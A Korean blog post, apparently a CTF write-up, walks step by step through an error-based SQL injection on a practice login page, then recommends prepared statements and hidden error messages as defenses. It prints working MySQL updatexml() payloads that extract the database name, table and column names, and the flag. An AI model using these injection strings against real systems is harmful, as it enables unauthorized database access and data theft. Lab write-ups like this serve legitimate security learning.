개발자 (Developer)/Hacking CTF

(SQL Injection CTF 풀이4) DB 데이터 추출 2 - Error Based SQL Injection

하늬아시 2023. 4. 23. 02:57

SQL Injection CTF 4 - DB 데이터 추출 2

 

사전 정보 : 로그인 페이지를 만났다! 이 서버에 연결된 DB를 털어라! DB안에 있는 flag를 찾으세요! :)

 

일단 사이트를 들어가 봅시다.

전에 했던 CTF - DB 데이터 추출 1처럼 배운 순서대로 해보겠습니다.



 

 

1. 추리

로그인 같은 경우 DB 데이터를 안 띄워주는 방식입니다. 

그 이유는 아래의 사진과 같이 로그인을 하면 서버에 ID와 Password을 쿠키에 담아서 요청을 보냅니다.

그럼 서버에 있는 WAS에서 DB의 데이터를 불러와서 비교하고, ID와 Password가 일치한지 확인합니다.

일치하면 로그인 성공을 응답하고, 일치하지 않으면 로그인 실패를 응답합니다.

클라이언트는 DB의 데이터를 전혀 받지 않습니다.

DB 데이터를 안 받아오니 DB 데이터를 띄울 수가 없어 안 띄워주는 방식이 되겠습니다.

저번 공부 게시글에서 DB 데이터를 안 띄워주는 방식은 Error Based SQL Injection으로 공격하면 된다고 배웠으니 이번에 해당 공격기법으로 요구사항을 완수해보겠습니다.


 

 

 

2. 에러로 DB 종류 확인

아래의 화면은 일반적으로 ID와 Password를 틀렸을 때 뜨는 에러 메세지입니다.

 

 

 

비밀번호는 아무거나 넣고 ID에 작은따옴표(싱글쿼터, ') 넣으면 아래와 같은 에러 메세지가 출력이 되고, DB는 MySQL인 것을 확인할 수 있습니다.


 

 

3. Error Based SQL Injection Function

전에 배웠던 대로 어떤 에러인지 확인해보겠습니다.

ID 입력창엔 아래와 같이 입력하고, Password는 계속 아무거나 입력하시면 됩니다.

 

전체 코드

1' AND updatexml(null, concat(0x3a, 'a'), null) and '1'='1

 

아래의 화면과 같이 syntax 에러가 뜨는 것을 보아 논리 에러임을 확인할 수 있습니다.


 

 

4. DB 이름 확인

1' AND updatexml(null, concat(0x3a, 'a'), null) and '1'='1 여기서 'a'만 빼고 (SELECT DATABASE())을 넣어주고 입력해봅니다.

 

전체 코드

1' AND updatexml(null, concat(0x3a, (SELECT DATABASE())), null) and '1'='1

 

아래 화면과 같이 ':sqli_2'라고 출력이 된 것을 확인할 수 있습니다.

DB 이름은 sqli_2입니다.


 

 

5. Table 이름 확인

여기도 4번과 마찬가지로 (SELECT table_name FROM information_schema.tables WHERE table_schema = 'sqli_2' LIMIT 0,1)

을 넣어주고 입력하면 됩니다.

 

전체 코드

1' AND updatexml(null, concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema = 'sqli_2' LIMIT 0,1)), null) and '1'='1

 

아래 화면과 같이 첫번째 테이블은 flag_table이라는 것을 확인할 수 있습니다. 혹시 다른 테이블이 있을까 해서 LIMIT 1,1로 다시 입력했더니 member라는 테이블도 존재하는 것을 확인 할 수 있습니다. 세번째 테이블은 존재하지 않았습니다.


 

 

6. 컬럼 이름 확인

요구사항은 flag를 찾는 것이기 때문에 flag_table에 있는 컬럼을 확인해보겠습니다.

이번에도 바로 아래의 컬럼 이름을 확인하는 쿼리를 중간에 넣어서 입력해보겠습니다.

(SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1)

 

전체 코드

1' AND updatexml(null, concat(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1)), null) and '1'='1

 

아래 화면과 같이 flag_table이라는 테이블에는 flag라는 컬럼이 존재하는 것을 확인했습니다. 그 외에 다른 컬럼은 존재하지 않았습니다.

 

7. 데이터 추출

마지막으로 데이터 추출을 하겠습니다.

중간에 (SELECT flag FROM flag_table)을 넣고 입력해보겠습니다.

 

전체 코드

1' AND updatexml(null, concat(0x3a, (SELECT flag FROM flag_table)), null) and '1'='1

 

아래 화면에서 모자이크 처리한 부분에 정답이 떴습니다.


 

방안

1. prepared statement

미리 형식이 지정된 쿼리여서 지정되지 않은 문법이나 특수문자로 SQLi 공격이 시도해도 문법적 의미를 가지지 못하게 됩니다.

 

2. 에러 메세지를 숨기기

방금 해본 CTF에서 보셨듯이 Sign in 버튼 아래에 에러 메세지가 뜨는 것을 확인할 수 있습니다. 방금 진행한 CTF 과정에서 거의 모든 정보를 에러 메세지에서 얻을 수 있었기 때문에 에러 메세지를 클라이언트에 최대한 숨기는 것도 중요합니다.

숨기거나 미리 준비해둔 에러 메세지를 출력 하거나 에러 페이지를 렌더링하는 하는 것이 좋습니다.

 

 

위 방안은 제가 생각해낸 대책방안이기 때문에 구글링하면 더 많은 보안 대책방안이 있을 겁니다.

 

ㄲ!!